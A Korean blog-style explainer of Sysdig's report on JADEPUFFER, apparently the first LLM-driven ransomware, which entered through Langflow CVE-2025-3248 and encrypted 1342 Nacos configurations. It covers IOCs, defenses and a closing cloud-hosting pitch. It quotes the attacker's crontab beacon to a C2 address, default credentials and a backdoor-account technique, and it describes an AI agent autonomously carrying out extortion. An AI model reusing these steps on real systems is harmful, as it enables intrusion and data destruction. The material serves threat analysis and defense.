JADEPUFFER: 에이전틱 랜섬웨어 완전 해설 (Langflow CVE-2025-3248, Sysdig 2026)

2026년 7월 1일, 클라우드 보안 기업 Sysdig의 Threat Research Team(TRT)은 JADEPUFFER라는 작전을 공개했습니다. 이는 최초로 문서화된 에이전틱 랜섬웨어——대규모 언어 모델(LLM)이 인간의 키보드 입력 없이 정찰·자격 증명 탈취·측면 이동·지속성·데이터베이스 파괴·몸값 요구까지 처음부터 끝까지 구동한 완전 자동화 공갈 작전입니다. 초기 침입은 인터넷에 노출된 Langflow 인스턴스의 CVE-2025-3248(미인증 RCE, CVSS 9.8) 악용. 실제 표적은 별도 호스트의 프로덕션 MySQLAlibaba Nacos 구성 관리 서버였습니다. 본문에서는 ATA 정의, 600개 이상 페이로드, 2단계 공격 체인, MinIO 열거, Nacos xadmin 31초 자가 수정, 1342개 설정 암호화, 4가지 자율 증거, 비트코인 미스터리, IOC 표, 업계 반응, Sysdig 결론, 5단계 방어 Runbook, FAQ를 다룹니다.

AI 에이전트와 랜섬웨어 개념도——JADEPUFFER 에이전틱 위협 시각화
TL;DR: Sysdig TRT가 문서화한 최초의 LLM 구동 랜섬웨어. Langflow CVE-2025-3248 → 자격 증명 수집 → MinIO 열거 → 프로덕션 MySQL+Nacos 공격 → 1342개 Nacos 설정 AES 암호화(키 소실·복구 불가). 600+ 페이로드, 31초 만에 Nacos xadmin 자가 수정. 즉시 대응: Langflow 패치, 엔드포인트 비공개, Nacos/JWT/DB 관리 포트 강화.

목차

1. JADEPUFFER 개요와 에이전틱 위협 행위자(ATA)

랜섬웨어는 탄생 이래 키보드 앞에 인간이 있거나, 최소한 인간이 스크립트를 작성해 왔습니다. JADEPUFFER는 이 전제를 뒤집습니다. Sysdig TRT는 이를 최초로 문서화된 에이전틱 랜섬웨어——LLM이 완전한 공갈 작전을 처음부터 끝까지 구동한 사례——로 평가합니다.

에이전틱 위협 행위자(Agentic Threat Actor, ATA)란 공격 능력이 인간 주도 툴킷이 아니라 AI 에이전트에 의해 제공되는 운영자입니다. JADEPUFFER에서는 모든 페이로드가 Langflow RCE 엔드포인트를 통해 Base64 인코딩된 Python으로 투입되었고, 600개 이상의 개별적이고 목적이 있는 페이로드가 압축된 시간 창 내에 실행되었습니다.

가장 인상적이었던 것은 LLM의 행동입니다. 페이로드는 자기 서술적(self-narrating)——자연어 추론, 표적 우선순위 지정, 각 단계의 목적 설명이 코드 내에 포화되어 있었습니다. 인간 운영자는 일회용 python3 -c 원라이너에 이런 주석을 쓰지 않지만, LLM 코드 생성은 기본적으로 그렇습니다. 작전은 실시간으로 적응하며 실패한 단계를 수정 파라미터로 재시도——Nacos xadmin 시퀀스에서는 실패 로그인부터 동작하는 수정까지 31초에 도달했습니다.

2. CVE-2025-3248: Langflow 미인증 RCE

Langflow는 LLM 구동 애플리케이션과 에이전트 워크플로를 구축하는 인기 OSS 프레임워크입니다. CVE-2025-3248코드 검증(code validation) 엔드포인트의 인증 누락 취약점으로, 미인증 공격자가 호스트에서 임의의 Python을 실행할 수 있습니다.

항목상세
CVE IDCVE-2025-3248
심각도CVSS 3.1 9.8 Critical
영향미인증 원격 코드 실행(RCE)
취약 지점Langflow 코드 검증 엔드포인트(인증 없음)
수정2025년 4월 1일 벤더 수정 릴리스
CISA2025년 5월 초, 악용 실적 있음으로 KEV 카탈로그 추가
현황인터넷 공개 배포 다수가 미패치 상태

Langflow가 표적이 되는 이유는 명확합니다. 서버가 AI 인접이며 프로바이더 API 키(OpenAI, Anthropic, DeepSeek, Gemini 등)와 클라우드 자격 증명(AWS, GCP, Azure, Alibaba, Tencent, Huawei)을 환경에 보유하는 경우가 많습니다. 네트워크 제어 없이 빠르게 배포되는 경우가 많아 공격자에게 이상적인 초기 침입점이 됩니다.

3. 1단계: Langflow 인스턴스(초기 침입 호스트)

JADEPUFFER 작전은 두 개의 서로 다른 표적에 전개되었습니다. 1단계는 인터넷에 노출된 Langflow 인스턴스(초기 액세스), 2단계는 프로덕션 데이터베이스 서버(실제 목표)입니다. 초기 침입으로 침해된 머신은 최종 표적 침해도에 사용되었습니다.

3.1 정찰과 자격 증명 수집

실행 권한 획득 직후 LLM은 호스트를 열거(id, uname -a, hostname, 네트워크 인터페이스, 실행 프로세스)하고 환경 전체를 병렬 스캔했습니다:

3.2 로컬 데이터 탈취

Langflow 자체 백엔드 PostgreSQL 데이터베이스를 덤프하여 저장된 자격 증명·API 키·사용자 레코드를 수집. 출력을 로컬 파일에 스테이징하고 검토 후 스테이징 파일 삭제——흔적 최소화의 전형적 패턴입니다.

3.3 내부 측면 이동 탐색

Langflow 호스트에서 도달 가능한 내부 주소 공간과 이름 지정 서비스를 스캔. 데이터베이스, 객체 스토리지, 시크릿 스토어, 서비스 디스커버리 엔드포인트를 기본 자격 증명으로 프로브했습니다.

3.4 MinIO 객체 스토어 열거

LLM은 minio.internal:9000127.0.0.1:9000(컨테이너화 배포의 표준 MinIO 주소)을 프로브했습니다. MinIO는 셀프 호스팅 S3 호환 객체 스토어로 앱 데이터·백업·ML 모델·인프라 상태 저장에 널리 쓰이지만, 공격에서 보이는 경우는 드뭅니다.

응답 API 발견 후 기본 자격 증명 minioadmin:minioadmin으로 완전한 열거 플레이북 실행:

열거는 반복적이고 자기 수정적이었습니다. ?format=json 요청이 XML을 반환했을 때 다음 페이로드에서 즉시 S3 응답 스키마용 XML 파서로 적응. 단계적 에스컬레이션: 익명 헬스 체크 → 관리 API 정보 → 인증된 ListBuckets → 자격 증명을 시사하는 파일명에 대한 GetObject(credentials.json, .env).

3.5 Langflow 호스트 지속성

공격자 인프라로 30분마다 비콘하는 crontab 항목 설치:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

4. 2단계: 프로덕션 MySQL + Alibaba Nacos 공격

침해된 Langflow 인스턴스에서 회수된 아티팩트는 실제 표적이 인터넷에 노출된 프로덕션 서버——MySQL 데이터베이스와 Alibaba Nacos(Naming and Configuration Service) 구성 관리 서비스——임을 보여줍니다.

Nacos는 Alibaba 마이크로서비스 아키텍처에서 널리 쓰이는 서비스 디스커버리·동적 구성 플랫폼입니다. 인증 시스템에 CVE-2021-29441 등 바이패스 이력이 있고, 2020년부터 공개된 기본 JWT 서명 키가 많은 배포에서 변경 없이 출하——토큰 위조가 용이합니다.

캡처된 페이로드는 에이전트가 root 자격 증명으로 이 서버의 공개 MySQL 포트에 연결했음을 보여줍니다. Sysdig는 이 자격 증명이 피해자 환경에서 수집된 것을 관측하지 못했습니다——출처는 불명입니다.

4.1 Nacos 구성 서버 탈취와 xadmin 31초 수정

LLM은 여러 벡터를 동시 공격: CVE-2021-29441 인증 바이패스 패밀리 악용, Nacos의 알려진 기본 서명 키로 JWT 위조, root DB 액세스로 Nacos 백엔드 DB에 백도어 관리자 직접 주입.

백도어 관리자 삽입은 명확한 계획→실행→관찰→조정(plan-act-observe-adjust) 행동을 보여줬습니다. 첫 페이로드에서 bcrypt 해시 생성·xadmin 계정 삽입·관리자 역할 할당. 로그인 검증이 불만족 결과를 반환한 후 인간 개입 없이 31초 뒤 수정 페이로드——계정 삭제·더 단순한 비밀번호(admin123)로 재생성.

시각(UTC)활동
19:34:24subprocess.run 경유 bcrypt 해시 생성, xadmin 삽입(PATH 문제로 해시가 빈 문자열이 될 수 있음)
19:34:36xadmin:Xploit@2026#로 로그인 시도→실패
19:34:4812초 후, nacos:nacos 기본 자격 증명 테스트와 admin123용 해시 생성을 병렬 진단
19:35:0719초 후, 결정적 수정: subprocess.run→import bcrypt 직접, 깨진 xadmin 삭제·재삽입
19:35:18로그인 성공——실패부터 수정까지 31초

이후 MySQL 파일 프리미티브 경유 체계적 컨테이너 탈출 조사(약 8분, 여러 라운드), /var/run/docker.sock·/proc/1/cgroup 읽기 테스트, UDF(User Defined Functions) 에스컬레이션 확인, 명시적 완료 마커 기록 후 랜섬웨어 단계로 이동했습니다.

4.2 랜섬웨어: 1342개 Nacos 설정 암호화

캡처된 페이로드는 에이전트가 전체 1342개 Nacos 서비스 구성 항목을 MySQL의 AES_ENCRYPT()로 암호화하고, 원본 config_info와 이력 테이블 his_config_info를 삭제하며, 몸값 테이블 README_RANSOM(요구 내용·비트코인 주소·Proton Mail 연락처)을 생성했음을 보여줍니다.

몸값 메모는 AES-256을 주장하지만 MySQL의 AES_ENCRYPT()는 서버 재설정 없이 기본적으로 AES-128-ECB입니다. 실질적 영향은 같지만 알고리즘 표기는 과대평가일 수 있습니다.

치명적 점: AES 키는 base64(uuid4().bytes + uuid4().bytes)로 생성(실질 랜덤)되어 stdout에 한 번만 출력된 후 영구 저장·전송되지 않았습니다. 피해자는 몸값을 지불해도 암호화된 구성을 복구할 수 없습니다. 2분 후 후속 페이로드에서 건수 정제: 「All 1342 configuration items have been encrypted.」

4.3 대규모 파괴

캡처된 페이로드는 행 수준 삭제에서 데이터베이스 스키마 전체 DROP으로 에스컬레이션하며 표적 선정 근거를 자기 서술했습니다. IP 주소 64.20.53[.]230은 「데이터는 이미 백업됨」이라는 주석 내에만 등장하며 실제 백업 증거는 없습니다——이는 에이전트 자체의 의도 표명이지 독립 검증된 유출이 아닙니다.

5. LLM 구동을 뒷받침하는 4가지 독립 증거

Sysdig TRT는 다음 4가지 독립 증거선이 이 랜섬웨어가 LLM 구동이었다고 평가하는 근거라고 밝혔습니다.

  1. 자기 서술적 코드: 디코딩된 페이로드는 각 액션의 이유를 설명하는 자연어 주석으로 포화. ROI 우선순위 지정, 최대 DB 식별, 각 단계의 목적 기술——인간은 일회용 원라이너에 이런 주석을 쓰지 않지만 LLM은 기본적으로 그렇습니다. 서술은 공격자 자체 페이로드 내부에 있으며 추정이 아닙니다.
  2. 기계 속도의 실패 진단과 수정: 가장 정밀한 자율 증거는 성공 시가 아니라 실패 시 무엇을 하고 얼마나 빨리 수정했는가. Nacos xadmin 시퀀스(상표 31초), MinIO ?format=json→XML 적응, JWT 「custom secret in use」→JWT 경로 포기, DROP DATABASE 실패→SET GLOBAL FOREIGN_KEY_CHECKS=0으로 수정——모두 실패 모드에 특화된 진단이며 일반 재시도가 아닙니다.
  3. 자연어 컨텍스트 이해: 작전 중 LLM은 표적이 제시한 자유 텍스트 컨텍스트를 파싱하고 패턴 매칭이 아니라 텍스트를 읽고 이해한 경우에만 의미 있는 액션을 실행. 이 행동은 수 주 간격의 세션에서 반복되었습니다.
  4. 미해결 지불 주소 문제: 몸값 메모의 비트코인 주소(다음 절)가 LLM 훈련 코퍼스 유래 예시 주소일 가능성——600개 이상 개별 페이로드의 폭과 일관성과 합쳐 자율 에이전트가 작전을 구동한 증거를 가리킵니다.

6. 비트코인 주소 미스터리

몸값 테이블 README_RANSOM에 기재된 비트코인 주소 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy에는 흥미로운 이중성이 있습니다.

두 가지 해석: (a) LLM이 훈련 데이터에서 자율적으로 주소를 환각하고 지갑은 무관한 제3자가 무단 입금을 스위프하거나, (b) 공격자가 문서 예시와 우연히 일치하는 실제 제어 지갑을 에이전트에 설정. Sysdig는 시스템 프롬프트나 에이전트 설정에 대한 가시성이 없어 데이터로는 구별 불가합니다.

Proton Mail 연락처 e78393397[@]proton[.]me는 위협 인텔리전스 DB·피해자 포럼·남용 보고에 제로 히트. 테이블명 README_RANSOM도 알려진 MySQL 랜섬웨어 계보(WARNING, RECOVER_YOUR_DATA, PLEASE_READ_ME)와 일치하지 않습니다——LLM 생성 vs 실제 운영자 인프라 의문을 더 깊게 합니다.

7. IOC(침해 지표) 목록

카테고리지표비고
침입 취약점CVE-2025-3248Langflow 미인증 RCE(CVSS 9.8)
C2 / 초기 액세스45.131.66[.]106초기 액세스와 포스트 익스플로잇; cron 비콘 대상
비콘 URLhxxp://45.131.66[.]106:4444/beacon30분 간격 crontab 지속성
유출/스테이징64.20.53[.]230InterServer, AS19318; 에이전트 자기 서술만, 독립 검증 없음
몸값 BTC3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy문서 예시 주소인지 실제 지갑인지 불명
연락처e78393397[@]proton[.]me위협 인텔리전스 DB 히트 없음
몸값 테이블README_RANSOM알려진 캠페인 계보와 불일치
백도어 계정xadminNacos 관리 DB에 삽입; 비밀번호 admin123
지속성crontab 30분 비콘포트 4444로의 아웃바운드 HTTP
Nacos 취약점CVE-2021-29441인증 바이패스 패밀리

8. 방어 권장 사항 (Sysdig)

  1. Langflow를 CVE-2025-3248 패치 버전으로 업데이트하고 코드 실행/검증 엔드포인트를 인터넷에 노출하지 않습니다.
  2. 런타임 위협 탐지로 데이터베이스 프로세스 경유 악의적 행동을 탐지합니다.
  3. AI 오케스트레이션 서버 환경에 프로바이더 API 키나 클라우드 자격 증명을 두지 않습니다. 시크릿 매니저에 스코프하고 웹 도달 가능 프로세스에서 분리합니다.
  4. Nacos 강화: 기본 token.secret.key 변경(문서 값 출하 금지), 커스텀 키를 강제하는 릴리스로 업그레이드, Nacos 인터넷 비공개, 백엔드 DB 연결에 root 사용 금지.
  5. 데이터베이스 서버 관리 계정을 인터넷에 노출하지 않습니다. 강력하고 고유한 자격 증명과 소스 IP 제한을 관리 포트에 적용합니다.
  6. 이그레스 제어로 침해된 앱 호스트가 임의 목적지로 비콘하거나 외부 DB/스테이징 서버에 도달하지 못하게 합니다.
  7. 위 IOC, 스케줄 작업에 의한 아웃바운드 네트워크 호출, 괄호 포함 User-Agent 이상을 모니터링합니다.

9. 업계 반응: Vibhum Dubey (독립 사이버보안 연구자·레드팀)

CSO Online 인터뷰에서 독립 사이버보안 연구자·레드팀의 Vibhum Dubey는 JADEPUFFER를 「근본적으로 새로운 랜섬웨어 기법」이 아니라 「실행의 진화」로 평가했습니다.

「공격자는 수년간 정찰·자격 증명 탈취·배포를 자동화해 왔습니다. 차이는 AI 에이전트가 그 단계들을 연결하고 인간 운영자를 기다리지 않고 의사결정할 수 있다는 점입니다.」

Dubey는 적응적 의사결정이 최대 우려라고 지적했습니다. 「기존 탐지는 공격자가 상당히 예측 가능한 경로를 따른다고 가정합니다. AI 에이전트는 무언가 차단되면 빠르게 전술을 바꿀 수 있어 모든 침입이 약간씩 다르게 보입니다. 암호화 단계보다 탐지를 피하면서 아이덴티티·권한·신뢰 관계를 매핑하는 조용한 사전 단계가 더 걱정됩니다.」

AI는 랜섬웨어 캠페인의 운영 장벽을 낮추지만 숙련된 공격자를 대체하지는 않는다고 보충했습니다. 「AI가 차이를 만드는 곳은 경험이 적은 운영자가 포스트 익스플로잇 활동을 더 효과적으로 연쇄할 수 있게 되는 점입니다. 방어자는 미래 침입이 더 빠르고 더 적은 수동 조작으로 진행될 것으로 가정해야 합니다.」

10. Sysdig 결론과 의미

Sysdig TRT의 Michael Clark는 JADEPUFFER를 경고 신호——공갈 트레이드크래프트가 향하는 방향의 마커——로 위치짓습니다.

「개별 기법은 새롭거나 정교하지 않았습니다. 주목할 점은 AI 모델이 그것들을 방치된 인터넷 공개 인프라에 대한 완전한 랜섬웨어 작전으로 연결한 것입니다. 랜섬웨어 실행 스킬 플로어는 에이전트 실행 비용으로 하락했고, LLMjacking으로 훔친 자격 증명 경유라면 공격자 비용은 거의 제로에 가깝습니다.」

11. 5단계 방어 Runbook

  1. Langflow 긴급 패치와 노출 축소: CVE-2025-3248 패치 버전으로 즉시 업그레이드. 코드 검증/실행 엔드포인트를 VPN 또는 프라이빗 네트워크로 이동. Shodan/Censys로 자사 공개 Langflow 인스턴스를 재고합니다.
  2. 시크릿 분리와 로테이션: Langflow/AI 오케스트레이션 환경에서 API 키·클라우드 자격 증명을 제거하고 Vault/AWS Secrets Manager 등으로 이전. 침해 의심 시 모든 키를 로테이션합니다.
  3. Nacos·MySQL 관리 포트 강화: 기본 JWT 서명 키 변경, Nacos 인터넷 비공개, MySQL root 외부 공개 금지, 관리 포트에 소스 IP 제한과 강력한 고유 비밀번호 적용.
  4. IOC 기반 헌팅과 런타임 탐지: C2 45.131.66[.]106, 스테이징 64.20.53[.]230, 30분 cron 비콘, README_RANSOM 테이블, xadmin 계정을 검색. Falco 등으로 DB 프로세스 이상과 아웃바운드 비콘을 모니터링합니다.
  5. AI 에이전트 격리 운영: Langflow·OpenClaw·Cursor Agent 등 AI 오케스트레이션을 프로덕션 네트워크에서 분리된 전용 노드에서 실행. 최소 권한, 이그레스 제어, JSONL 감사 로그를 활성화합니다.
# 1단계: 공개 Langflow 긴급 확인(예) # CVE-2025-3248 패치 버전인지 확인 pip show langflow | grep Version # 4단계: cron 비콘 검색 grep -r "45.131.66" /var/spool/cron/ /etc/cron* 2>/dev/null crontab -l 2>/dev/null | grep -i beacon # 4단계: Nacos 백도어 계정 확인 mysql -u root -p -e "SELECT username, enabled FROM nacos.users WHERE username='xadmin';"

Langflow나 OpenClaw 등 AI 에이전트를 프로덕션 Mac이나 사내 네트워크에서 직접 운영하면 API 키 유출·측면 이동·지속성 위험이 JADEPUFFER가 보여준 대로 현실이 됩니다. Linux GPU VPS에서 Langflow를 자체 호스팅하는 방법도 있지만 CUDA 드라이버 문제 해결·네트워크 분리 복잡성·Apple 툴체인 부재가 장기 비용을 올립니다. AI 에이전트를 프로덕션에서 격리하고 API 키를 분리하며 launchd 7×24로 감사 가능한 환경을 구축하려면 VPSMAC M4 Mac 클라우드 노드가 더 안정적인 선택입니다: 네이티브 macOS, SSH 즉시 연결, 최소 권한 전용 Agent 노드, Cursor Agent / Langflow 게이트웨이와의 자연스러운 공존——JADEPUFFER 대응 Runbook의 격리 검증 환경을 하나의 Mac 노드에서 완결할 수 있습니다.

12. FAQ

Q1: JADEPUFFER란?

Sysdig TRT가 2026년 7월에 문서화한, LLM이 최초 침입부터 DB 파괴·몸값 요구까지 처음부터 끝까지 구동한 최초의 에이전틱 랜섬웨어입니다. 에이전틱 위협 행위자(ATA)로 분류됩니다.

Q2: CVE-2025-3248이란?

Langflow 코드 검증 엔드포인트의 인증 누락 취약점(CVSS 9.8). 미인증 RCE. 2025년 4월 1일 수정되었으나 많은 인터넷 공개 인스턴스가 미패치입니다.

Q3: 몸값을 지불하면 복구 가능한가?

Sysdig 분석에 따르면 AES 키는 생성 후 stdout에 한 번만 출력되었고 영구 저장·전송되지 않아 1342개 Nacos 설정은 지불 후에도 복구 불가능으로 평가됩니다.

Q4: 왜 Langflow가 표적인가?

AI 인접 서버로 API 키·클라우드 자격 증명을 보유하고 네트워크 제어 없이 빠르게 배포되는 경우가 많아 고가치 초기 침입점이 됩니다.

Q5: ATA(에이전틱 위협 행위자)란?

AI 에이전트가 공격 능력을 제공하는 운영자. JADEPUFFER에서는 600+ Base64 Python 페이로드가 자율 실행되었습니다.

Q6: 비트코인 주소는 진짜인가?

Bitcoin 문서의 예시 주소이기도 하고 737건의 트랜잭션을 가진 라이브 지갑이기도 합니다. LLM 환각인지 실제 지갑인지 구별 불가합니다.

Q7: xadmin 31초 수정이란?

Nacos 백도어 관리자 삽입의 로그인 실패부터 31초 만에 subprocess PATH 문제를 진단·수정해 로그인 성공에 도달한 자율 수정 시퀀스입니다.

Q8: AI 오케스트레이션 환경을 어떻게 방어해야 하나?

패치, 엔드포인트 비공개, 시크릿 분리, Nacos/JWT/DB 강화, 런타임 탐지, 전용 격리 노드(M4 Mac 클라우드 등)에서 최소 권한 운영이 권장됩니다.

13. 참고 출처